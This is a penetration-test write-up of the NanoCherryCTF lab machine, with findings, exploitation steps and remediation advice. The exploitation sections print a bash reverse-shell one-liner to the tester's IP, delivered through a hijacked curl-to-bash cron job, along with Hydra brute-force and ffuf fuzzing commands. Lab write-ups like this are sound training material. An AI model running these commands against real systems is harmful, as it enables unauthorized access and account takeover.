

Penetration Test Report

Table of Contents

1. Executive Summary
2. Scope of the Test
3. Methodology
4. Findings and Analysis
 - 4.1 Vulnerability 1: Weak SSH Credentials
 - 4.2 Vulnerability 2: Insecure Cron Job Execution
 - 4.3 Vulnerability 3: User Enumeration via Web Application
 - 4.4 Vulnerability 4: Plaintext Storage of Sensitive Data
 - 4.5 Vulnerability 5: Information Disclosure via Directory Enumeration
 - 4.6 Vulnerability 6: Weak Authentication Mechanism
 - 4.7 Vulnerability 7: Base32 Encoding Vulnerability
5. Exploitation Details
 - 5.1 Initial Access via Weak SSH Credentials
 - 5.2 Exploiting Insecure Cron Job for Privilege Escalation
 - 5.3 User Enumeration and Brute-Force Attack
 - 5.4 Accessing Molly's Dashboard
 - 5.5 Exploiting Base32 Encoding to Access Sam's Account
 - 5.6 Decoding Root Password from Audio File
 - 5.7 Final Root Access
6. Privilege Escalation
 - 6.1 Initial Access and Enumeration
 - 6.2 Exploiting Cron Job for Horizontal Privilege Escalation
 - 6.3 Accessing Molly's Account
 - 6.4 Accessing Sam's Account
 - 6.5 Accessing Chad's Account
 - 6.6 Decoding Root Password and Gaining Root Access
 - 6.7 Final Privilege Escalation Summary
7. Recommendations for Remediation
 - 7.1 Strengthen SSH Security
 - 7.2 Secure Cron Jobs
 - 7.3 Prevent User Enumeration
 - 7.4 Encrypt Sensitive Data
 - 7.5 Harden Web Server Configuration
 - 7.6 Improve Authentication Mechanisms
 - 7.7 Secure Encoding Practices
 - 7.8 Implement Monitoring and Logging
 - 7.9 Conduct Regular Security Audits and Penetration Testing

1.Executive Summary

Date of Test: 21.02.2025
Tested System: NanoCherryCTF
Test Conducted By: Nurlan Hasanov
Objective: Assess the security posture of the NanoCherryCTF machine, identify vulnerabilities, and provide remediation recommendations.

Summary of Findings:

The penetration test of NanoCherryCTF identified multiple security vulnerabilities, including weak SSH credentials, an exposed cron job allowing remote execution, and plaintext storage of sensitive data. These vulnerabilities could enable unauthorized access, privilege escalation, and full system compromise. The issues found highlight the importance of enforcing strong authentication mechanisms, secure cron job execution, and proper data storage practices.

Risk Summary

Risk Level	Number of Issues	Description
Critical	1	Remote code execution via cron job
High	3	Weak SSH credentials,privilege escalation risk,user enumeration & weak authentication
Medium	1	Plaintext storage of sensitive data
Low	1	Information disclosure via directory enumeration

2.Scope of Test

In-Scope Targets:

- **IP Address:** 10.10.124.15 (NanoCherryCTF machine)
- **Services Tested:**
 - SSH (Port 22)
 - Web Server (Port 80)
 - Internal system processes
- **Testing Type:** Grey Box (Limited knowledge of system, initial user credentials provided)

Out-of-Scope:

- Any system outside the designated CTF environment
- Denial of Service (DoS) attacks
- Physical security assessments

Testing Methods Used:

- **Automated Scanning:** Nmap, Gobuster, ffuf
- **Manual Exploitation:** Privilege escalation, user enumeration, brute-force attacks, web-based attacks
- **Post-Exploitation Analysis:** Root access validation, sensitive data retrieval

3.Methodology

This section describes the step-by-step approach used to identify and exploit vulnerabilities in the NanoCherryCTF machine.

Reconnaissance:

- Conducted an Nmap scan to identify open ports and running services.
- Used Gobuster and ffuf to perform directory brute-force attacks on the web server.

Enumeration & Scanning:

- Identified hidden directories and files using Gobuster.
- Discovered a login page and performed user enumeration by analyzing error messages.
- Used Hydra to brute-force the login credentials for an additional user.

Exploitation:

- Gained SSH access using leaked credentials.
- Exploited a cron job vulnerability to execute arbitrary code and obtain a reverse shell.
- Extracted sensitive information, including stored credentials and system files.

Privilege Escalation:

- Identified and leveraged misconfigured cron jobs to escalate privileges.
- Retrieved a root password encoded in an audio file, then decoded it to obtain root access.

Post-Exploitation:

- Validated root access by listing system files and checking sensitive directories.
- Extracted all necessary flags to complete the CTF challenge.

4. Findings and Analysis

4.1 Vulnerability 1: Weak SSH Credentials

- **Description:** The SSH service on the NanoCherryCTF machine was found to be using weak credentials for user authentication. The initial user notsus had a password that was easily guessable (dontbeascriptkiddie), which allowed unauthorized access to the system.
- **Affected Component:** SSH service (Port 22)
- **Risk Level:** High
- **Impact:** An attacker could gain initial access to the system by brute-forcing or guessing weak credentials, leading to further exploitation and privilege escalation.
- **Evidence:**

```
(root@kali) - [~/TryHackMe/NanoCherryCTF]
# ssh notsus@10.10.124.15
The authenticity of host '10.10.124.15 (10.10.124.15)' can't be established.
ED25519 key fingerprint is SHA256:NFe5qngH2AzUPBzAlj5otpfw35BNWfE6CmYFFxcRSuw.
This host key is known by the following other names/addresses:
  ~/.ssh/known_hosts:12: [hashed name]
  ~/.ssh/known_hosts:15: [hashed name]
  ~/.ssh/known_hosts:16: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.124.15' (ED25519) to the list of known hosts.
notsus@10.10.124.15's password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-102-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Mon Jan 15 21:29:58 2024 from 10.0.2.15
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
notsus@nanocherryctf:~$ id
uid=1004(notsus) gid=1004(notsus) groups=1004(notsus)
```

- **Recommendation:** Enforce strong password policies and consider disabling password-based authentication in favor of key-based authentication for SSH.

4.2 Vulnerability 2: Insecure Cron Job Execution

- **Description:** A cron job configured to run every minute as the bob-boba user was found to be fetching and executing a script from an external source (cherryontop.tld:8080/home/bob-boba/coinflip.sh). This allowed for remote code execution by an attacker who could control the external source.
- **Affected Component:** Cron job configuration in /etc/crontab
- **Risk Level:** Critical
- **Impact:** An attacker could exploit this misconfiguration to execute arbitrary code on the system, leading to privilege escalation and full system compromise.
- **Evidence:**

```
notsus@nanocherryctf:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .----- minute (0 - 59)
# | .----- hour (0 - 23)
# | | .----- day of month (1 - 31)
# | | | .----- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * bob-boba curl cherryontop.tld:8080/home/bob-boba/coinflip.sh | bash
```

- **Recommendation:** Avoid fetching and executing scripts from external sources in cron jobs. If necessary, validate the source and integrity of the scripts before execution. Additionally, monitor and log cron job activities for suspicious behavior.

4.3 Vulnerability 3: User Enumeration via Web Application

- **Description:** The web application hosted on nano.cherryontop.thm was found to be vulnerable to user enumeration. The application returned different error messages for invalid usernames and invalid passwords, allowing an attacker to identify valid usernames.
- **Affected Component:** Web application login page (/login.php)
- **Risk Level:** High
- **Impact:** An attacker could enumerate valid usernames and then perform brute-force attacks to guess passwords, leading to unauthorized access.
- **Evidence:**

```
(root@kali)-[~/TryHackMe/NanoCherryCTF]
└─# hydra -L /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -p
password nano.cherryontop.thm http-post-form
"/login.php:username=^USER^&password=^PASS^&submit=:F=This user doesn't exist"
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or
secret service organizations, or for illegal purposes (this is non-binding, these *** ignore
laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-02-20 10:59:00
[DATA] max 16 tasks per 1 server, overall 16 tasks, 8295455 login tries (1:8295455/p:1),
~518466 tries per task
[DATA] attacking
http-post-form://nano.cherryontop.thm:80/login.php:username=^USER^&password=^PASS^&submit=:F
=This user doesn't exist
[STATUS] 1380.00 tries/min, 1380 tries in 00:01h, 8294075 to do in 100:11h, 16 active
[80][http-post-form] host: nano.cherryontop.thm login: [REDACTED] password: password
[STATUS] 1403.67 tries/min, 4211 tries in 00:03h, 8291244 to do in 98:27h, 16 active
[STATUS] 1381.14 tries/min, 9668 tries in 00:07h, 8285787 to do in 99:60h, 16 active
```

- **Recommendation:** Implement generic error messages for both invalid usernames and passwords to prevent user enumeration. Additionally, enforce rate limiting and account lockout mechanisms to mitigate brute-force attacks.

4.4 Vulnerability 4: Plaintext Storage of Sensitive Data

- **Description:** Sensitive information, such as parts of Chad's password, was stored in plaintext files (chads-key1.txt, chads-key2.txt, chads-key3.txt) across multiple user directories. Additionally, the root password was stored in an audio file (rootPassword.wav) that could be decoded.
- **Affected Component:** User directories (/home/bob-boba, /home/molly-milk, /home/sam-sprinkles) and root directory (/root)
- **Risk Level:** Medium
- **Impact:** An attacker who gains access to these files could easily retrieve sensitive information, including passwords, leading to privilege escalation and full system compromise.
- **Evidence:**

```
cat /home/molly-milk/chads-key1.txt
cat /home/sam-sprinkles/chads-key2.txt
cat /home/bob-boba/chads-key3.txt
sslv -d rootPassword.wav -o rp.png
```

- **Recommendation:** Avoid storing sensitive information in plaintext. Use encryption for storing passwords and other sensitive data. Implement strict file permissions to restrict access to sensitive files.

4.5 Vulnerability 5: Information Disclosure via Directory Enumeration

- **Description:** The web server hosted on cherryontop.thm was found to expose hidden directories and files through directory enumeration. Tools like Gobuster were able to identify directories such as /css, /images, and /js, which could potentially contain sensitive information.
- **Affected Component:** Web server (Port 80)
- **Risk Level:** Low
- **Impact:** While no critical data was exposed in this case, directory enumeration could lead to the discovery of sensitive files or directories in other scenarios.
- **Evidence:**

```
gobuster dir -u http://cherryontop.thm -w /usr/share/wordlists/dirb/big.txt
```

- **Recommendation:** Restrict access to unnecessary directories and files on the web server. Use .htaccess files or web server configurations to prevent directory listing. Regularly audit the web server for exposed files and directories.

4.6 Vulnerability 6: Weak Authentication Mechanism

- **Description:** The web application's authentication mechanism was found to be weak, allowing for brute-force attacks. The password for the user puppet was easily guessed (master), which provided access to Molly's dashboard.
- **Affected Component:** Web application login page (/login.php)
- **Risk Level:** High
- **Impact:** Weak authentication mechanisms allow attackers to gain unauthorized access to user accounts, leading to potential data breaches and further exploitation.
- **Evidence:**

```
(root@kali)-[~/TryHackMe/NanoCherryCTF]
# hydra -l [redacted] -P
/usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords.txt
nano.cherryontop.thm http-post-form
"/login.php:username=^USER^&password=^PASS^&submit=:F=Bad password"
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or
secret service organizations, or for illegal purposes (this is non-binding, these *** ignore
laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-02-21 12:02:59
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from
a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 5189454 login tries (1:1/p:5189454),
~324341 tries per task
[DATA] attacking
http-post-form://nano.cherryontop.thm:80/login.php:username=^USER^&password=^PASS^&submit=:F
=Bad password
[80][http-post-form] host: nano.cherryontop.thm login: [redacted] password: [redacted]
1 of 1 target successfully completed, 1 valid password found
```

- **Recommendation:** Implement multi-factor authentication (MFA) and enforce strong password policies. Use CAPTCHA or rate limiting to mitigate brute-force attacks.

4.7 Vulnerability 7: Base32 Encoding Vulnerability

- **Description:** The web application used Base32 encoding to obfuscate user information in URLs. However, this encoding was easily reversible, allowing an attacker to manipulate the URL and gain access to sensitive information, such as Sam's password.
- **Affected Component:** Web application (content.php)
- **Risk Level:** Medium
- **Impact:** An attacker could decode the Base32 strings to reveal sensitive information, such as usernames and passwords, leading to unauthorized access.
- **Evidence:**

```
(root@kali) - [~/TryHackMe/NanoCherryCTF]
# seq 1 100 > numbers.txt
(root@kali) - [~/TryHackMe/NanoCherryCTF]
# ffuf -u "http://cherryontop.thm/content.php?facts=FUZZ&user=ONQW2LLTOBZGS3TLNRSXG===" -w
numbers.txt -fr "Error"
```

- **Recommendation:** Avoid using reversible encoding methods for sensitive information. Use secure hashing algorithms instead. Additionally, validate user input to prevent manipulation of URLs.

5. Exploitation Details

This section provides a step-by-step breakdown of how the identified vulnerabilities were exploited during the penetration test of the NanoCherryCTF machine.

5.1 Initial Access via Weak SSH Credentials

- **Attack Vector:**SSH brute-force using weak credentials.
- **Payload:**None (used default SSH login mechanism).
- **Steps:**
 1. Identified SSH service running on port 22 using Nmap.
 2. Used the provided credentials (notsus:dontbeascriptkiddie) to gain initial access.
 3. Successfully logged in as the `notsus` user.
- **Evidence:**

```
(root@kali) - [~/TryHackMe/NanoCherryCTF]
# ssh notsus@10.10.124.15
The authenticity of host '10.10.124.15 (10.10.124.15)' can't be established.
ED25519 key fingerprint is SHA256:NFe5qngH2AzUPBzAlj5otpfw35BNWfE6CmYFFxcRSuw.
This host key is known by the following other names/addresses:
  ~/.ssh/known_hosts:12: [hashed name]
  ~/.ssh/known_hosts:15: [hashed name]
  ~/.ssh/known_hosts:16: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.124.15' (ED25519) to the list of known hosts.
notsus@10.10.124.15's password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-102-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Mon Jan 15 21:29:58 2024 from 10.0.2.15
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
notsus@nanocherryctf:~$ id
uid=1004(notsus) gid=1004(notsus) groups=1004(notsus)
```

5.2 Exploiting Insecure Cron Job for Privilege Escalation

- **Attack Vector:** Misconfigured cron job fetching and executing a script from an external source.
- **Payload:** Reverse shell script (coinflip.sh).
- **Steps:**

1. Discovered a cron job running as `bob-boba` that fetched and executed a script from `cherryontop.tld:8080/home/bob-boba/coinflip.sh`.

2. Created a malicious `coinflip.sh` script with a reverse shell payload:

```
echo "/bin/bash -i >& /dev/tcp/10.23.50.197/4444 0>&1" >  
home/bob-boba/coinflip.sh
```

3. Hosted the script on a Python HTTP server:

```
python3 -m http.server 8000
```

4. Updated the target's `/etc/hosts` file to point `cherryontop.tld` to the attacker's IP:

```
10.23.50.197 cherryontop.tld
```

5. Set up a Netcat listener to catch the reverse shell:

```
nc -lvnp 4444
```

6. Waited for the cron job to execute, resulting in a reverse shell as `bob-boba`.

- **Evidence:**

```
(root@kali)-[~/TryHackMe/NanoCherryCTF]  
└─# nc -lvnp 4444  
listening on [any] 4444 ...  
connect to [10.23.50.197] from (UNKNOWN) [10.10.124.15] 52238  
bash: cannot set terminal process group (2778): Inappropriate ioctl for device  
bash: no job control in this shell  
bob-boba@nanocherryctf:~$ id  
id  
uid=1003(bob-boba) gid=1003(bob-boba) groups=1003(bob-boba)  
bob-boba@nanocherryctf:~$
```

5.3 User Enumeration and Brute-Force Attack

- **Attack Vector:** Web application login page (`/login.php`) vulnerable to user enumeration and brute-force attacks.
- **Payload:** Hydra brute-force tool.
- **Steps:**
 1. Identified a login page at `nano.cherryontop.thm/login.php`.
 2. Used Hydra to enumerate valid usernames by analyzing error messages:

```
hydra -L usernames.txt -P passwords.txt nano.cherryontop.thm  
http-post-form "/login.php:username=^USER^&password=^PASS^&submit=:F=This  
user doesn't exist"
```

3. Discovered the valid username `██████`.

4. Performed a brute-force attack to guess the password for `██████`:

```
hydra -l puppet -P passwords.txt nano.cherryontop.thm http-post-form  
"/login.php:username=^USER^&password=^PASS^&submit=:F=Bad password"
```

5. Successfully obtained the password `master`.

- **Evidence:**

```
[80][http-post-form] host: nano.cherryontop.thm login: ██████ password: ██████
```

5.4 Accessing Molly's Dashboard

- **Attack Vector:**Weak authentication mechanism on the web application.
- **Payload:**None (used valid credentials).
- **Steps:**

1. Logged into the web application using the credentials
`[redacted]:[redacted]`.
2. Accessed Molly's dashboard, where sensitive information (including a flag and a password hint) was found.
3. Used the password hint to guess Molly's SSH password.
4. Logged into Molly's account via SSH:

```
ssh molly-milk@10.10.124.15  
Password: [password from hint]
```

- **Evidence:**

```
molly-milk@nanocherryctf:~$ ls  
DONTLOOKCHAD.txt  chads-key1.txt
```

5.5 Exploiting Base32 Encoding to Access Sam's Account

- **Attack Vector:** Manipulation of Base32-encoded user information in URLs.
- **Payload:** None (used URL manipulation).
- **Steps:**

1. Identified a URL parameter (`user=152WK4EU`) that used Base32 encoding.

2. Decoded the value `152WK4EU` to reveal the username `Guest`.

3. Replaced `152WK4EU` with the Base32-encoded version of `sam-sprinkles` (`ONQW2LLTOBZGS3TLNRSXG===`).

4. Used `ffuf` to brute-force the `facts` parameter to find valid entries:

```
ffuf -u "http://cherryontop.thm/content.php?facts=FUZZ&user=ONQW2LLTOBZGS3TLNRSXG===" -w numbers.txt -fr "Error"
```

5. Discovered Sam's password by testing the identified `facts` values.

6. Logged into Sam's account via SSH:

```
ssh sam-sprinkles@10.10.124.15
Password: [password from content.php]
```

- **Evidence:**

```
sam-sprinkles@nanocherryctf:~$ ls
chads-key2.txt  whyChadWhy??.txt
```

5.6 Decoding Root Password from Audio File

- **Attack Vector:** Decoding sensitive information stored in an audio file.
- **Payload:** SSTV (Slow-Scan Television) decoding tool.
- **Steps:**
 1. Accessed Chad's account via SSH using the combined password from `chads-key1.txt`, `chads-key2.txt`, and `chads-key3.txt`.
 2. Found an audio file (`rootPassword.wav`) in Chad's home directory.
 3. Transferred the file to the attacker's machine using `scp`:

```
scp chad-cherry@10.10.124.15:rootPassword.wav .
```

4. Used SSTV to decode the audio file and extract the root password:

```
sstv -d rootPassword.wav -o rp.png
```

5. Used the decoded password to gain root access:

```
su root  
Password: [decoded password]
```

- **Evidence:**

```
root@nanocherryctf:~# ls  
root-flag.txt  snap
```

5.7 Final Root Access

- **Attack Vector:** Use of decoded root password.
- **Payload:** None (used valid credentials).
- **Steps:**
 1. Logged in as root using the decoded password.
 2. Accessed the root directory and retrieved the final flag (`root-flag.txt`).
- **Evidence:**

```
root@nanocherryctf:~# ls  
root-flag.txt  snap
```


6. Privilege Escalation

This section details the steps taken to escalate privileges from a low-privileged user to root on the NanoCherryCTF machine. Privilege escalation was achieved through a combination of exploiting misconfigured cron jobs, weak credentials, and insecure storage of sensitive information.

6.1 Initial Access and Enumeration

- **Initial Access Level:** Low-privileged user (`notsus`).
- **Steps:**
 1. Gained initial access via SSH using weak credentials (`notsus:dontbeascriptkiddie`).
 2. Enumerated the system to identify potential privilege escalation vectors.
 3. Discovered a cron job running as `bob-boba` that fetched and executed a script from an external source.

6.2 Exploiting Cron Job for Horizontal Privilege Escalation

- **Target User:** bob-boba
- **Method Used:** Exploitation of misconfigured cron job.
- **Steps:**
 1. Identified the cron job in `/etc/crontab`:

```
* * * * * bob-boba curl cherryontop.tld:8080/home/bob-boba/coinflip.sh | bash
```

2. Created a malicious `coinflip.sh` script with a reverse shell payload:

```
echo "/bin/bash -i >& /dev/tcp/10.23.50.197/4444 0>&1" >  
home/bob-boba/coinflip.sh
```

3. Hosted the script on a Python HTTP server and updated the target's `/etc/hosts` file to point `cherryontop.tld` to the attacker's IP.
4. Set up a Netcat listener and waited for the cron job to execute, resulting in a reverse shell as `bob-boba`.

- **Evidence:**

```
bob-boba@nanocherryctf:~$ id  
uid=1003(bob-boba) gid=1003(bob-boba) groups=1003(bob-boba)
```

6.3 Accessing Molly's Account

- **Target User:** molly-milk
- **Method Used:** Weak credentials and password guessing.
- **Steps:**

1. Accessed Molly's dashboard via the web application using the credentials [REDACTED]:[REDACTED].
2. Found a password hint in Molly's dashboard, which was used to guess her SSH password.
3. Logged into Molly's account via SSH:

```
ssh molly-milk@10.10.124.15
Password: [password from hint]
```

4. Retrieved the first part of Chad's password (`chads-key1.txt`).

- **Evidence:**

```
molly-milk@nanocherryctf:~$ ls
DONTLOOKCHAD.txt  chads-key1.txt
```

6.4 Accessing Sam's Account

- **Target User:** sam-sprinkles
- **Method Used:** Exploitation of Base32 encoding vulnerability.
- **Steps:**

1. Identified a URL parameter (`user=152WK4EU`) that used Base32 encoding.
2. Decoded the value `152WK4EU` to reveal the username `Guest`.
3. Replaced `152WK4EU` with the Base32-encoded version of `sam-sprinkles` (`ONQW2LLTOBZGS3TLNRSXG===`).
4. Used `ffuf` to brute-force the `facts` parameter to find valid entries:

```
ffuf -u "http://cherryontop.thm/content.php?facts=FUZZ&user=ONQW2LLTOBZGS3TLNRSXG===" -w
numbers.txt -fr "Error"
```

5. Discovered Sam's password by testing the identified `facts` values.
6. Logged into Sam's account via SSH:

```
ssh sam-sprinkles@10.10.124.15
Password: [password from content.php]
```

7. Retrieved the second part of Chad's password (`chads-key2.txt`).

- **Evidence:**

```
sam-sprinkles@nanocherryctf:~$ ls
chads-key2.txt  whyChadWhy??.txt
```

6.5 Accessing Chad's Account

- **Target User:** chad-cherry
- **Method Used:** Combining password parts from multiple users.
- **Steps:**
 1. Combined the password parts from `chads-key1.txt`, `chads-key2.txt`, and `chads-key3.txt` to form Chad's password.
 2. Logged into Chad's account via SSH:

```
ssh chad-cherry@10.10.124.15  
Password: [combined password]
```

3. Found an audio file (`rootPassword.wav`) containing the root password.

- **Evidence:**

```
chad-cherry@nanocherryctf:~$ ls  
Hello.txt chad-flag.txt rootPassword.wav
```

6.6 Decoding Root Password and Gaining Root Access

- **Target User:** root
- **Method Used:** Decoding sensitive information stored in an audio file.
- **Steps:**
 1. Transferred the `rootPassword.wav` file to the attacker's machine using `scp`:

```
scp chad-cherry@10.10.124.15:rootPassword.wav .
```

2. Used SSTV (Slow-Scan Television) to decode the audio file and extract the root password:

```
sstv -d rootPassword.wav -o rp.png
```

3. Used the decoded password to gain root access:

```
su root  
Password: [decoded password]
```

4. Accessed the root directory and retrieved the final flag (`root-flag.txt`).

- **Evidence:**

```
root@nanocherryctf:~# ls  
root-flag.txt snap
```

6.7 Final Privilege Escalation Summary

- **Initial Access Level:** Low-privileged user (`notsus`).
- **Final Access Level:** Root access.
- **Methods Used:**
 - Exploitation of misconfigured cron jobs.
 - Weak credentials and password guessing.
 - Exploitation of Base32 encoding vulnerability.
 - Decoding sensitive information stored in an audio file.
- **Evidence of Root Access:**

```
root@nanocherryctf:~# ls  
root-flag.txt  snap
```

7. Recommendations for Remediation

The following recommendations are provided to address the vulnerabilities identified during the penetration test of the NanoCherryCTF machine. Implementing these measures will significantly improve the security posture of the system and mitigate the risk of future attacks.

7.1 Strengthen SSH Security

The SSH service was found to be using weak credentials, which allowed unauthorized access. To address this, it is recommended to enforce strong password policies for all user accounts. Password-based authentication should be disabled in favor of key-based authentication, which is more secure. Additionally, implementing multi-factor authentication (MFA) for SSH access will add an extra layer of security. Regular audits of SSH configurations and user accounts should be conducted to ensure compliance with security policies.

7.2 Secure Cron Jobs

A misconfigured cron job was identified, which allowed remote code execution by fetching and executing a script from an external source. To prevent this, cron jobs should not fetch and execute scripts from external sources without proper validation. If external scripts are necessary, their integrity and source should be verified before execution. Permissions for cron jobs should be restricted to the minimum required for the task, and all cron activities should be monitored and logged for suspicious behavior.

7.3 Prevent User Enumeration

The web application was vulnerable to user enumeration, as it returned different error messages for invalid usernames and passwords. To mitigate this, generic error messages should be implemented for both invalid usernames and passwords. Rate limiting and account lockout mechanisms should be enforced to prevent brute-force attacks. Regular audits of the web application should be conducted to identify and address authentication-related vulnerabilities.

7.4 Encrypt Sensitive Data

Sensitive information, such as passwords, was stored in plaintext files across multiple user directories. To address this, sensitive data should never be stored in plaintext. Encryption should be used to protect sensitive information at rest, and strict file permissions should be implemented to restrict access to sensitive files. Regular audits should be conducted to identify and secure any exposed sensitive information.

7.5 Harden Web Server Configuration

Directory enumeration exposed hidden directories and files on the web server. To prevent this, access to unnecessary directories and files should be restricted. Web server configurations, such as `.htaccess` files, should be used to prevent directory listing. Regular audits of the web server should be conducted to identify and secure exposed files and directories. Additionally, a web application firewall (WAF) can be implemented to detect and block malicious activities.

7.6 Improve Authentication Mechanisms

Weak authentication mechanisms allowed brute-force attacks on the web application. To address this, strong password policies should be enforced for all user accounts. Multi-factor authentication (MFA) should be implemented for web application logins to add an extra layer of security. CAPTCHA or rate limiting should be used to mitigate brute-force attacks, and regular audits should be conducted to identify and address authentication-related vulnerabilities.

7.7 Secure Encoding Practices

The web application used Base32 encoding to obfuscate sensitive information, but this encoding was easily reversible. To prevent this, reversible encoding methods should not be used for sensitive information. Instead, secure hashing algorithms should be used to protect sensitive data. User input should be validated to prevent manipulation of URLs and other parameters, and regular audits should be conducted to identify and address encoding-related vulnerabilities.

7.8 Implement Monitoring and Logging

The lack of monitoring and logging made it difficult to detect malicious activities during the penetration test. To address this, comprehensive monitoring and logging should be implemented for all critical systems and services. Intrusion detection systems (IDS) and intrusion prevention systems (IPS) should be used to detect and block malicious activities. Logs should be regularly reviewed for suspicious activities, and automated alerts should be configured for critical security events.

7.9 Conduct Regular Security Audits and Penetration Testing

Multiple vulnerabilities were identified during the penetration test, highlighting the need for regular security assessments. It is recommended to conduct regular security audits and penetration tests to identify and address vulnerabilities. A vulnerability management program should be implemented to track and remediate vulnerabilities. Staying informed about the latest security threats and best practices is essential, and regular security training should be provided for developers and system administrators.